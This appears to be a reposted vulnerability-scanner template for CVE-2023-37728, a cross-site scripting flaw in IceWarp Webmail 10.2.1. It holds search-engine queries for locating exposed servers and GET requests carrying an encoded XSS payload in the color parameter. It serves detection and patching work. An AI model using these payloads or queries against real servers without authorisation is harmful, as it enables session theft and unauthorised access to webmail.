CVE-2023-37728: IceWarp Webmail Server v10.2.1 - Cross Site Scripting

2025-08-01 IceWarp Webmail Server PoC Public

Description

Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.

PoC

id: CVE-2023-37728

info:
  name: IceWarp Webmail Server v10.2.1 - Cross Site Scripting
  author: technicaljunkie,r3Y3r53
  severity: medium
  description: |
    Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the color parameter to steal webmail user session cookies and access email communications.
  remediation: |
    Update IceWarp to a version newer than 10.2.1 that properly sanitizes the color parameter and encodes output in the webmail interface.
  reference:
    - https://medium.com/@ayush.engr29/cve-2023-37728-6dfb7586311
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37728
    - http://icearp.com
    - http://icewarp.com
    - https://medium.com/%40ayush.engr29/cve-2023-37728-6dfb7586311
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37728
    cwe-id: CWE-79
    epss-score: 0.01173
    epss-percentile: 0.66518
    cpe: cpe:2.3:a:icewarp:icewarp:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: icewarp
    product: icewarp
    shodan-query:
      - http.favicon.hash:2144485375
      - http.title:"icewarp"
    fofa-query:
      - title="icewarp"
      - icon_hash=2144485375
    google-query: intitle:"icewarp"
  tags: cve,cve2023,icearp,icewarp,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27"
      - "{{BaseURL}}/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(header, "IceWarp") || contains(body, "IceWarp WebClient")'
          - 'contains(body, "<img src onerror=alert(document.domain)>")'
        condition: and
# digest: 490a00463044022028d4a7bfb6fb55b06df68d6385f7b5864ce22e653ff40d890e648b1bf97df9a702206a1e9c504c591438dfa369aa909e4d4b570a8b24b3312d85a5397518fa1ceb93:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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